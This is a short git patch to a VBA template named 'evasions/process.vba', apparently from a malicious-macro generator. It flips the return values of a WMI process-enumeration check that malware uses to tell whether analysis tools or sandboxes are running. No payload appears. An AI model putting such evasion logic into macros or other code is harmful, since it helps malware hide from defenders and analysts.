From 264e31db0c3077c3523825226ab1d724706e5432 Mon Sep 17 00:00:00 2001 From: "Mr.Un1k0d3r" Date: Thu, 3 Aug 2017 14:51:21 -0400 Subject: [PATCH] Update process.vba --- templates/evasions/process.vba | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/evasions/process.vba b/templates/evasions/process.vba index 20e3234..ef2599a 100644 --- a/templates/evasions/process.vba +++ b/templates/evasions/process.vba @@ -6,7 +6,7 @@ Function func_evasion_process() As String Dim func_evasion_process1 As String Dim func_evasion_process2 As Object Dim func_evasion_process3 As Object - func_evasion_process = "bool1" + func_evasion_process = "bool2" Set func_evasion_process2 = GetObject(decode("{[winmgmts:\\.\root\cimv2]}")) Set func_evasion_process3 = func_evasion_process2.ExecQuery(decode("{[SELECT Name FROM Win32_Process]}")) @@ -14,7 +14,7 @@ Function func_evasion_process() As String func_evasion_process1 = func_evasion_get_process() For Each func_evasion_process4 In func_evasion_process3 If LCase(func_evasion_process4.Name) = func_evasion_process1 Then - func_evasion_process = "bool2" + func_evasion_process = "bool1" End If Next End Function